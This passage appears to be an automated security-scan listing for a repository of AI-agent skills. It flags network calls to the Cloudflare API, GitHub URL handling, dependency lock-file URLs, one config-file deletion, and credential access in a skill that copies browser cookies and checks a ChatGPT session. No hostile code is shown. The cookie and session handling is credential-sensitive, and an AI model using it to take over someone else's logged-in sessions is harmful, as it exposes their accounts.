    print("\nGet your Global API Key from:")         print("  https://dash.cloudflare.com/profile/api-tokens")         sys.exit(1)
  • Network accessline 220
    print("  https://dash.cloudflare.com/profile/api-tokens")
  • Access to secretsline 225
    [Credential-related source omitted]
  • Network accessline 238
    try:         response = requests.get(
  • Network accessline 239
    response = requests.get(
  • Network accessline 240
    f"https://api.cloudflare.com/client/v4/zones?name={domain}",
  • Access to secretsline 241
    [Credential-related source omitted]
  • Access to secretsline 266
    [Credential-related source omitted]
  • Access to secretsline 272
    [Credential-related source omitted]
  • Access to secretsline 278
    [Credential-related source omitted]

cloudflare-troubleshooting/scripts/fix_ssl_mode.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Network accessline 52
    try:         response = requests.get(
  • Network accessline 53
    response = requests.get(
  • Network accessline 54
    f"https://api.cloudflare.com/client/v4/zones?name={domain}",
  • Access to secretsline 55
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]
  • Network accessline 82
    try:         response = requests.get(
  • Network accessline 83
    response = requests.get(
  • Network accessline 84
    f"https://api.cloudflare.com/client/v4/zones/{zone_id}/settings/ssl",
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Access to secretsline 121
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Network accessline 150
    try:         response = requests.patch(
  • Network accessline 151
    response = requests.patch(
  • Network accessline 152
    f"https://api.cloudflare.com/client/v4/zones/{zone_id}/settings/ssl",
  • Access to secretsline 153
    [Credential-related source omitted]
  • Access to secretsline 180
    [Credential-related source omitted]
  • Network accessline 191
    try:         response = requests.post(
  • Network accessline 192
    response = requests.post(
  • Network accessline 193
    f"https://api.cloudflare.com/client/v4/zones/{zone_id}/purge_cache",
  • Access to secretsline 194
    [Credential-related source omitted]
  • Access to secretsline 215
    [Credential-related source omitted]
  • Access to secretsline 254
    [Credential-related source omitted]
  • Access to secretsline 263
    [Credential-related source omitted]
  • Access to secretsline 269
    [Credential-related source omitted]
  • Access to secretsline 274
    [Credential-related source omitted]

competitors-analysis/SKILL.md

  • Network accessline 319
    ./scripts/update-competitors.sh discover "claude code viewer" ./scripts/update-competitors.sh clone-url https://github.com/org/repo
  • Network accessline 320
    ./scripts/update-competitors.sh clone-url https://github.com/org/repo

competitors-analysis/references/landscape_synthesis.md

  • Network accessline 42
    For example, a supplied `https://example.org/cedar` profile and an older register
  • Network accessline 105
    This choice-and-trade-off lens follows the Harvard Business School Institute for Strategy and Competitiveness's account of customer value and strategic positioning: [Business Strategy](https://www.isc.hbs.edu/strategy/business-strategy/Page
  • Network accessline 106
    Strategy and Competitiveness's account of customer value and strategic positioning: [Business Strategy](https://www.isc.hbs.edu/strategy/business-strategy/Pages/default.aspx). It is a reasoning method, not evidence that this product has a m
  • Network accessline 107
    [Business Strategy](https://www.isc.hbs.edu/strategy/business-strategy/Pages/default.aspx).

competitors-analysis/scripts/reconcile_opportunities.py

  • Executable scriptline 1
    #!/usr/bin/env python3

competitors-analysis/scripts/update-competitors.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 41
    path_part="${path_part#$github_scp_prefix}"     path_part="$(printf '%s\n' "$path_part" \         | sed -E 's#^https://github.com/##; s#/$##; s#\.git$##')"
  • Network accessline 42
    path_part="$(printf '%s\n' "$path_part"          | sed -E 's#^https://github.com/##; s#/$##; s#\.git$##')"
  • Network accessline 43
    | sed -E 's#^https://github.com/##; s#/$##; s#\.git$##')"
  • Network accessline 63
    if [[ "$repo_url" == https://github.com/* ]]; then
  • Network accessline 64
    path_part="$(printf '%s\n' "$repo_url"              | sed -E 's#^https://github.com/##; s#/$##; s#\.git$##')"
  • Network accessline 65
    | sed -E 's#^https://github.com/##; s#/$##; s#\.git$##')"
  • Network accessline 108
    if [[ "${#COMPETITORS[@]}" -eq 0 ]]; then         echo -e "${YELLOW}No persistent competitors configured in COMPETITORS.${NC}"         echo "Use: PRODUCT_NAME=$PRODUCT_NAME $0 clone-url https://github.com/owner/repo"
  • Network accessline 109
    echo -e "${YELLOW}No persistent competitors configured in COMPETITORS.${NC}"         echo "Use: PRODUCT_NAME=$PRODUCT_NAME $0 clone-url https://github.com/owner/repo"         return
  • Network accessline 110
    echo "Use: PRODUCT_NAME=$PRODUCT_NAME $0 clone-url https://github.com/owner/repo"

competitors-analysis/tests/test_reconcile_opportunities.py

  • Executable scriptline 1
    Executable file

cookie-copy/SKILL.md

  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]

cookie-copy/scripts/copy-cookies.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 5
    [Credential-related source omitted]
  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 14
    [Credential-related source omitted]

cookie-copy/scripts/verify-chatgpt-profile.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 15
    export async function verifyIdentity(cmd, opt) {     await cmd('Page.enable');     await cmd('Page.navigate', {url: 'https://chatgpt.com/api/auth/session'});
  • Network accessline 16
    await cmd('Page.enable');     await cmd('Page.navigate', {url: 'https://chatgpt.com/api/auth/session'});     let result = {state: 'unconfirmed'};
  • Network accessline 17
    await cmd('Page.navigate', {url: 'https://chatgpt.com/api/auth/session'});
  • Network accessline 19
    for (let n = 0; n < 60; n++) {       const reply = await cmd('Runtime.evaluate', {returnByValue: true, expression: `(() => {         if(location.origin !== 'https://chatgpt.com') return {state:'unconfirmed'};
  • Network accessline 20
    const reply = await cmd('Runtime.evaluate', {returnByValue: true, expression: `(() => {         if(location.origin !== 'https://chatgpt.com') return {state:'unconfirmed'};         try {const session=JSON.parse(document.body.innerText); retu
  • Network accessline 21
    if(location.origin !== 'https://chatgpt.com') return {state:'unconfirmed'};
  • Network accessline 53
    const port = text.match(/HTTPSPort\s*:\s*(\d+)/)?.[1];   if (!host || !port) throw Error('system HTTPS proxy configuration is incomplete');   return `http://${host}:${port}`;
  • Network accessline 54
    if (!host || !port) throw Error('system HTTPS proxy configuration is incomplete');   return `http://${host}:${port}`; }
  • Network accessline 55
    return `http://${host}:${port}`;

cookie-copy/tests/test_cookie_migration.py

  • Executable scriptline 1
    Executable file

cookie-copy/tests/test_profile_verification.mjs

  • Executable scriptline 1
    Executable file

data-visualization-discipline/references/constrained-relationship-layout.md

  • Network accessline 11
    选择现有自动布局或约束式网格之前,写下必须保持的分组、端口侧、主干通道和阅读方向。让工具处理适合它的部分;局部参数化定位也可用,不把“用了算法”当正确证据。[ELK 的图模型](https://eclipse.dev/elk/documentation/tooldevelopers/graphdatastructure.html)区分节点、包含关系、端口和边;[端口约束](https://eclipse.dev/elk/reference/options/org-eclips

data-visualization-discipline/references/graphical-perception-science.md

  • Network accessline 183
    - Cleveland & McGill 1984 — https://www.tandfonline.com/doi/abs/10.1080/01621459.1984.10478080 ;排序细节 https://vizdata.org/slides/24/24-graphical-perception.html
  • Network accessline 184
    - Heer & Bostock 2010 (CHI) — https://dblp.org/rec/conf/chi/HeerB10.html
  • Network accessline 185
    - Bertin 视觉变量 — https://www.axismaps.com/guide/visual-variables
  • Network accessline 186
    - Tufte data-ink — https://infovis-wiki.net/wiki/Data-Ink_Ratio ;lie factor — https://infovis-wiki.net/wiki/Lie_Factor
  • Network accessline 187
    - Small multiples — https://en.wikipedia.org/wiki/Small_multiple
  • Network accessline 188
    - Few *Information Dashboard Design* 书评 — https://www.uxmatters.com/mt/archives/2007/04/book-review-information-dashboard-design.php
  • Network accessline 189
    - Qu & Hullman 2018 跨视图一致性 — https://idl.uw.edu/papers/consistency
  • Network accessline 190
    - Chartjunk 争议 — https://arxiv.org/pdf/2009.02634
  • Network accessline 191
    - 饼图之战 — https://www.perceptualedge.com/articles/visual_business_intelligence/save_the_pies_for_dessert.pdf
  • Network accessline 192
    - Heer & Robertson 2007 动态转场 — https://idl.cs.washington.edu/files/2007-AnimatedTransitions-InfoVis.pdf
  • Network accessline 193
    - W3C CSS Box Model Level 3 — https://www.w3.org/TR/css-box-3/
  • Network accessline 194
    - W3C SVG 2 Painting(stroke line caps)— https://www.w3.org/TR/SVG2/painting.html#LineCaps

data-visualization-discipline/references/transaction-status-colors.md

  • Network accessline 46
    - [WCAG 2.2 · 1.4.1 Use of Color](https://www.w3.org/WAI/WCAG22/Understanding/use-of-color.html):颜色传达的信息需要另一个可见通道。本案例使用就地文字与符号;仅为读屏器补一个隐藏标签不能解决有色觉差异的读者看到什么。
  • Network accessline 47
    - [WCAG 2.2 · 1.4.3 Contrast (Minimum)](https://www.w3.org/WAI/WCAG22/Understanding/contrast-minimum.html):普通文字至少 4.5:1,大文字另有 3:1 条件,非活动控件等另有豁免。交易状态已结束不等于账目文本属于非活动控件。

daymade-audio/asr-transcribe-to-text/SKILL.md

  • Network accessline 120
    Q1: ASR Endpoint URL?   A) https://asr.example.com/v1/audio/transcriptions (Self-hosted remote ASR)
  • Network accessline 121
    A) https://asr.example.com/v1/audio/transcriptions (Self-hosted remote ASR)
  • Network accessline 122
    B) http://localhost:8002/v1/audio/transcriptions (Local ASR server)
  • Network accessline 169
    uv run ${CLAUDE_SKILL_DIR}/scripts/resolve_media_input.py \   "https://www.xiaoyuzhoufm.com/episode/EPISODE_ID" \
  • Network accessline 170
    "https://www.xiaoyuzhoufm.com/episode/EPISODE_ID" \
  • Network accessline 512
    Speaker diarization needs a one-time setup (gated model, free):   1. Accept terms at https://hf.co/pyannote/speaker-diarization-3.1
  • Network accessline 513
    1. Accept terms at https://hf.co/pyannote/speaker-diarization-3.1
  • Network accessline 704
    1. Network: `ping -c 1 HOST` or `tailscale status | grep HOST` 2. Service: `tailscale ssh USER@HOST "curl -s localhost:PORT/v1/models"`
  • Network accessline 705
    2. Service: `tailscale ssh USER@HOST "curl -s localhost:PORT/v1/models"`
  • Dangerous shell operationline 824
    rm "${CLAUDE_PLUGIN_DATA}/config.json"

daymade-audio/asr-transcribe-to-text/references/overlap_merge_strategy.md

  • Network accessline 58
    - Audio longer than ~2 hours (untested territory, may OOM on 24GB VRAM) - GPU memory pressure from other processes - Network timeout (curl max-time exceeded)
  • Network accessline 60
    - Network timeout (curl max-time exceeded)

daymade-audio/asr-transcribe-to-text/references/review_workbench.md

  • Network accessline 18
    Then run `scripts/review-workbench/server.py --project <absolute-project.json> --state-dir <absolute-private-state-directory>`. The default URL is `http://127.0.0.1:8780/`; `--port` selects another available port and
  • Network accessline 19
    --state-dir <absolute-private-state-directory>`. The default URL is `http://127.0.0.1:8780/`; `--port` selects another available port and `--no-browser` suppresses automatic opening. The server accepts loopback hosts
  • Network accessline 20
    `http://127.0.0.1:8780/`; `--port` selects another available port and
  • Network accessline 161
    `node --test <skill-root>/scripts/review-workbench/tests/*.cjs`. For source-repository CI, follow [CI operations](https://github.com/daymade/claude-code-skills/blob/main/references/ci-operations.md)
  • Network accessline 162
    For source-repository CI, follow [CI operations](https://github.com/daymade/claude-code-skills/blob/main/references/ci-operations.md) to inspect the exact candidate's registered-suite results. Keep test totals in
  • Network accessline 163
    [CI operations](https://github.com/daymade/claude-code-skills/blob/main/references/ci-operations.md)

daymade-audio/asr-transcribe-to-text/references/speaker_diarization.md

  • Network accessline 69
    Official references: [whisper.cpp VAD](https://github.com/ggml-org/whisper.cpp),
  • Network accessline 70
    [faster-whisper VAD/long-form options](https://github.com/SYSTRAN/faster-whisper),
  • Network accessline 71
    [WhisperX late-fusion architecture](https://github.com/m-bain/whisperX), and
  • Network accessline 72
    [NeMo long-audio buffered inference](https://docs.nvidia.com/nemo/speech/nightly/asr/inference.html).

daymade-audio/asr-transcribe-to-text/references/whispercpp_gpu_runtime.md

  • Network accessline 54
    Primary source: [whisper.cpp v1.9.1](https://github.com/ggml-org/whisper.cpp/blob/v1.9.1/src/whisper.cpp).

daymade-audio/asr-transcribe-to-text/scripts/align_speakers.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/asr-transcribe-to-text/scripts/build_whispercpp_gpu.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/asr-transcribe-to-text/scripts/diarize_speakers.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 112
    [Credential-related source omitted]

daymade-audio/asr-transcribe-to-text/scripts/diarize_speakers.py.lock

  • Network accessline 18
    name = "aiohappyeyeballs" version = "2.7.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 19
    version = "2.7.1" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/ce/f4/eec0465c2f67b2664688d0240b3212d5196fd89e741df67ddb81f8d35658/aiohappyeyeballs-2.7.1.tar.gz", hash = "sha256:
  • Network accessline 20
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 21
    sdist = { url = "https://files.pythonhosted.org/packages/ce/f4/eec0465c2f67b2664688d0240b3212d5196fd89e741df67ddb81f8d35658/aiohappyeyeballs-2.7.1.tar.gz", hash = "sha256:065665c041c42a5938ed220bdcd7230f22527fbec085e1853d2402c8a3615d9d", si
  • Network accessline 22
    wheels = [     { url = "https://files.pythonhosted.org/packages/71/43/1947f06babed6b3f1d7f38b0c767f52df66bfb2bc10b468c4a7de9eceff2/aiohappyeyeballs-2.7.1-py3-none-any.whl", hash = "sha256:9243213661e29250eb41368e5daa826fc017156c3b8a11440826
  • Network accessline 23
    { url = "https://files.pythonhosted.org/packages/71/43/1947f06babed6b3f1d7f38b0c767f52df66bfb2bc10b468c4a7de9eceff2/aiohappyeyeballs-2.7.1-py3-none-any.whl", hash = "sha256:9243213661e29250eb41368e5daa826fc017156c3b8a11440826b2e3ed376472", 
  • Network accessline 27
    name = "aiohttp" version = "3.14.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 28
    version = "3.14.3" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 29
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 37
    { name = "yarl" }, ] sdist = { url = "https://files.pythonhosted.org/packages/58/d9/22ce5786ac0c1653ae8b6c23bded02c1686d11f0dbb45b31ce128e0df985/aiohttp-3.14.3.tar.gz", hash = "sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a
  • Network accessline 38
    ] sdist = { url = "https://files.pythonhosted.org/packages/58/d9/22ce5786ac0c1653ae8b6c23bded02c1686d11f0dbb45b31ce128e0df985/aiohttp-3.14.3.tar.gz", hash = "sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc", size = 7
  • Network accessline 39
    sdist = { url = "https://files.pythonhosted.org/packages/58/d9/22ce5786ac0c1653ae8b6c23bded02c1686d11f0dbb45b31ce128e0df985/aiohttp-3.14.3.tar.gz", hash = "sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc", size = 797
  • Network accessline 40
    wheels = [     { url = "https://files.pythonhosted.org/packages/57/be/5afd201cc0ab139029aadb75392efe85a293403d9dd3a3226161c21ce00c/aiohttp-3.14.3-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:2e9878ae68e4a5f1c0abe4dd497dbc3d51946f58
  • Network accessline 41
    { url = "https://files.pythonhosted.org/packages/57/be/5afd201cc0ab139029aadb75392efe85a293403d9dd3a3226161c21ce00c/aiohttp-3.14.3-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:2e9878ae68e4a5f1c0abe4dd497dbc3d51946f5837b56759e2a02e7
  • Network accessline 42
    { url = "https://files.pythonhosted.org/packages/22/09/dec8189d62b45ade009f6792a2264b942a90cb88aeaf181239933cd72c3c/aiohttp-3.14.3-cp313-cp313-android_21_x86_64.whl", hash = "sha256:f3d2669fe7dec7fc359ecdb5984b29b50d85d5d00f8c1cb61de4f4a24e
  • Network accessline 43
    { url = "https://files.pythonhosted.org/packages/28/24/2854869d29ed8a8b19d74f9ec6629515f7e04d02dd329d9d179201e58e47/aiohttp-3.14.3-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:cc7cb243a68167172f48c1fd43cee91ec4b1d40cefd190edd433
  • Network accessline 44
    { url = "https://files.pythonhosted.org/packages/d4/dd/57187c8be2a35aea65eaee3bd2c3dcbbcf0204f5106c89637e3610380cd1/aiohttp-3.14.3-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:78253b573e6ffab5028924fc98bc281aae05445969982
  • Network accessline 45
    { url = "https://files.pythonhosted.org/packages/b9/11/06ae6ed8f0d414edf4068861e233d8fe23ee699bfd4b3ceb8663db948a62/aiohttp-3.14.3-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:7041d52c3a7fa20c9e8c182b534704abb19502c8bdcb
  • Network accessline 46
    { url = "https://files.pythonhosted.org/packages/7e/a3/559639c34a345d2cf7c52dff6838119f2eaf29eb508227b5b83f573af813/aiohttp-3.14.3-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ac74facc01463f138b0da5580329cfcc82818dea5656e83ddcd1
  • Network accessline 47
    { url = "https://files.pythonhosted.org/packages/91/cd/41e131f13afd1e7b0172a9d9eda085ef90eb8439f41f0d279db81ed3ae60/aiohttp-3.14.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:d6218d92e450824e9b4881f44e8c09f1853b490f9a64130801024a47
  • Network accessline 48
    { url = "https://files.pythonhosted.org/packages/bc/6b/e7f13410d391c6e55b4c007a8de024355389d7d459e3d64c42b2d33617e5/aiohttp-3.14.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:11fb37ef075669eee52ab1928fbf6e1741fada40409fa309ebde9607a9
  • Network accessline 49
    { url = "https://files.pythonhosted.org/packages/97/21/6464573e53d69672cc1eada3e5c5cb2d2efa82701e8305a0f2047a576967/aiohttp-3.14.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:55bdcc47
  • Network accessline 50
    { url = "https://files.pythonhosted.org/packages/1a/81/d217043a4c17fbce360905e3b2bdd20139ebc9a2de836d035d179c4da006/aiohttp-3.14.3-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c39846c3aad
  • Network accessline 51
    { url = "https://files.pythonhosted.org/packages/a1/66/e13a02d0eeb1a9a502402a977abb4e4abff9fe4051c26f80558c57a7c975/aiohttp-3.14.3-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5895ef58
  • Network accessline 52
    { url = "https://files.pythonhosted.org/packages/26/5e/57d42fca1d18cb5acc1cad945d017fabc5d6ae71d8a08ad66be8dc3ee544/aiohttp-3.14.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fa9467a8113aa6
  • Network accessline 53
    { url = "https://files.pythonhosted.org/packages/ca/1c/7da8d08e74d56f00070822f9638ff3f1c563f8ad87d1efa996c87bfc8644/aiohttp-3.14.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d7d2deec16e
  • Network accessline 54
    { url = "https://files.pythonhosted.org/packages/cd/0f/cf16bcf56896981c1a0319f5d5db9337994b5165730c48a8fa07e9b34be6/aiohttp-3.14.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:dd54d0e8717de95939766febac482a
  • Network accessline 55
    { url = "https://files.pythonhosted.org/packages/fe/6f/76eac12a7f2480e1e304f842efdb07db33256b0d9165b866b6ef0806c202/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:df82f3787c940c94986b34222d59c9e38843fba85139f36e85255a
  • Network accessline 56
    { url = "https://files.pythonhosted.org/packages/39/b6/19c8c592baeeb94b75f966547d40c02ac7590902306ec5863d5c027cf506/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:42a67efc36300d052fb4508a53e8b6901b9284b599ae63945c37756
  • Network accessline 57
    { url = "https://files.pythonhosted.org/packages/dc/c9/4e9383150296f97f873b680c4de8fb2cd88608fb9f48c79edcb111611abc/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7a75aa63cbf9b21cfaf60dc2657e19df2c2867d91707d653fee171
  • Network accessline 58
    { url = "https://files.pythonhosted.org/packages/aa/1e/147bdc6cc5de5f3ab011be8bf5d6e786633249f22c20bae06f85e45f5387/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:e92eb8acc45eb6a9f4935071a77edf5b85cc6f8dfad5cd99e97653
  • Network accessline 59
    { url = "https://files.pythonhosted.org/packages/fd/31/78388a9d6040ece2e11df62ea229a822cf5e52d238374b220ae9975b2623/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:b014a6ed7cf912e787149fdc529166d3ceabac23f26efeea3158c9ab
  • Network accessline 60
    { url = "https://files.pythonhosted.org/packages/03/51/a3d29fdf2c25d796746af8ad6fe56a45d6256c38b0a8a2ed752e1160b3a2/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:3d4f72af88ac2474bb5bca640030320e3d38a0163a1d7533500e87b
  • Network accessline 61
    { url = "https://files.pythonhosted.org/packages/29/a6/442e18b5afeade534d877a2dc3c3e392aff8d49787890b0cf84790410267/aiohttp-3.14.3-cp313-cp313-win32.whl", hash = "sha256:5f08ec777f35ee70720233b8b9811d3bb5d728137f30ac91b7457709c3261ac0", siz
  • Network accessline 62
    { url = "https://files.pythonhosted.org/packages/9d/69/3d876ac02659f271cf7f6769f14a8e3de5b6e888ed8b5a7e998086a4cec8/aiohttp-3.14.3-cp313-cp313-win_amd64.whl", hash = "sha256:dff9461ec275f22135650d5ba4b4931a11f3958df7dfbb8db630000d4dee0883",
  • Network accessline 63
    { url = "https://files.pythonhosted.org/packages/b2/0e/50d6e6471cd31edce8b282bdec59375a3a69124d8a989a0b1313355cae52/aiohttp-3.14.3-cp313-cp313-win_arm64.whl", hash = "sha256:ddcac3c6b382e81f1dd0499199d4136b877beb4cb5ef770bbbfba56c4b8f55d2",
  • Network accessline 67
    name = "aiosignal" version = "1.4.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 68
    version = "1.4.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 69
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 71
    { name = "frozenlist" }, ] sdist = { url = "https://files.pythonhosted.org/packages/61/62/06741b579156360248d1ec624842ad0edf697050bbaf7c3e46394e106ad1/aiosignal-1.4.0.tar.gz", hash = "sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca6
  • Network accessline 72
    ] sdist = { url = "https://files.pythonhosted.org/packages/61/62/06741b579156360248d1ec624842ad0edf697050bbaf7c3e46394e106ad1/aiosignal-1.4.0.tar.gz", hash = "sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7", size = 
  • Network accessline 73
    sdist = { url = "https://files.pythonhosted.org/packages/61/62/06741b579156360248d1ec624842ad0edf697050bbaf7c3e46394e106ad1/aiosignal-1.4.0.tar.gz", hash = "sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7", size = 25
  • Network accessline 74
    wheels = [     { url = "https://files.pythonhosted.org/packages/fb/76/641ae371508676492379f16e2fa48f4e2c11741bd63c48be4b12a6b09cba/aiosignal-1.4.0-py3-none-any.whl", hash = "sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0
  • Network accessline 75
    { url = "https://files.pythonhosted.org/packages/fb/76/641ae371508676492379f16e2fa48f4e2c11741bd63c48be4b12a6b09cba/aiosignal-1.4.0-py3-none-any.whl", hash = "sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0fe82e", size = 
  • Network accessline 79
    name = "alembic" version = "1.19.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 80
    version = "1.19.1" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 81
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 85
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/16/2b/e4153978368de59918115c9e01d3ebf58a558a7285efa7e960c383c4b59a/alembic-1.19.1.tar.gz", hash = "sha256:e0fca0518118c78acc493e31bcb5402f190057aaf6d
  • Network accessline 86
    ] sdist = { url = "https://files.pythonhosted.org/packages/16/2b/e4153978368de59918115c9e01d3ebf58a558a7285efa7e960c383c4b59a/alembic-1.19.1.tar.gz", hash = "sha256:e0fca0518118c78acc493e31bcb5402f190057aaf6df8b5b95ce94c4789cf648", size = 2
  • Network accessline 87
    sdist = { url = "https://files.pythonhosted.org/packages/16/2b/e4153978368de59918115c9e01d3ebf58a558a7285efa7e960c383c4b59a/alembic-1.19.1.tar.gz", hash = "sha256:e0fca0518118c78acc493e31bcb5402f190057aaf6df8b5b95ce94c4789cf648", size = 207
  • Network accessline 88
    wheels = [     { url = "https://files.pythonhosted.org/packages/20/89/e62cc37b69ad357cc8ecd6e7367f5245f523d3cbb338a66197212bdf6749/alembic-1.19.1-py3-none-any.whl", hash = "sha256:b39018cb3d9413a19cbd54cf3c02ad33998641f0538eb77413a488a21c3e
  • Network accessline 89
    { url = "https://files.pythonhosted.org/packages/20/89/e62cc37b69ad357cc8ecd6e7367f5245f523d3cbb338a66197212bdf6749/alembic-1.19.1-py3-none-any.whl", hash = "sha256:b39018cb3d9413a19cbd54cf3c02ad33998641f0538eb77413a488a21c3e14be", size = 2
  • Network accessline 93
    name = "anyio" version = "4.14.2" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 94
    version = "4.14.2" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 95
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 97
    { name = "idna" }, ] sdist = { url = "https://files.pythonhosted.org/packages/61/cc/a381afa6efea9f496eff839d4a6a1aed3bfafc7b3ab4b0d1b243a12573dd/anyio-4.14.2.tar.gz", hash = "sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4
  • Network accessline 98
    ] sdist = { url = "https://files.pythonhosted.org/packages/61/cc/a381afa6efea9f496eff839d4a6a1aed3bfafc7b3ab4b0d1b243a12573dd/anyio-4.14.2.tar.gz", hash = "sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f", size = 260
  • Network accessline 99
    sdist = { url = "https://files.pythonhosted.org/packages/61/cc/a381afa6efea9f496eff839d4a6a1aed3bfafc7b3ab4b0d1b243a12573dd/anyio-4.14.2.tar.gz", hash = "sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f", size = 26017
  • Network accessline 100
    wheels = [     { url = "https://files.pythonhosted.org/packages/da/35/f2287558c17e29fafc8ef3daf819bb9834061cfa43bff8014f7df7f63bdc/anyio-4.14.2-py3-none-any.whl", hash = "sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d14
  • Network accessline 101
    { url = "https://files.pythonhosted.org/packages/da/35/f2287558c17e29fafc8ef3daf819bb9834061cfa43bff8014f7df7f63bdc/anyio-4.14.2-py3-none-any.whl", hash = "sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494", size = 125
  • Network accessline 105
    name = "asteroid-filterbanks" version = "0.4.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 106
    version = "0.4.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 107
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 111
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/90/fa/5c2be1f96dc179f83cdd3bb267edbd1f47d08f756785c016d5c2163901a7/asteroid-filterbanks-0.4.0.tar.gz", hash = "sha256:415f89d1dcf2b13b35f03f7a9370968
  • Network accessline 112
    ] sdist = { url = "https://files.pythonhosted.org/packages/90/fa/5c2be1f96dc179f83cdd3bb267edbd1f47d08f756785c016d5c2163901a7/asteroid-filterbanks-0.4.0.tar.gz", hash = "sha256:415f89d1dcf2b13b35f03f7a9370968ac4e6fa6800633c522dac992b283409b
  • Network accessline 113
    sdist = { url = "https://files.pythonhosted.org/packages/90/fa/5c2be1f96dc179f83cdd3bb267edbd1f47d08f756785c016d5c2163901a7/asteroid-filterbanks-0.4.0.tar.gz", hash = "sha256:415f89d1dcf2b13b35f03f7a9370968ac4e6fa6800633c522dac992b283409b9"
  • Network accessline 114
    wheels = [     { url = "https://files.pythonhosted.org/packages/c5/7c/83ff6046176a675e6a1e8aeefed8892cd97fe7c46af93cc540d1b24b8323/asteroid_filterbanks-0.4.0-py3-none-any.whl", hash = "sha256:4932ac8b6acc6e08fb87cbe8ece84215b5a74eee284fe83a
  • Network accessline 115
    { url = "https://files.pythonhosted.org/packages/c5/7c/83ff6046176a675e6a1e8aeefed8892cd97fe7c46af93cc540d1b24b8323/asteroid_filterbanks-0.4.0-py3-none-any.whl", hash = "sha256:4932ac8b6acc6e08fb87cbe8ece84215b5a74eee284fe83acf3540a72a02eaf
  • Network accessline 119
    name = "attrs" version = "26.1.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 120
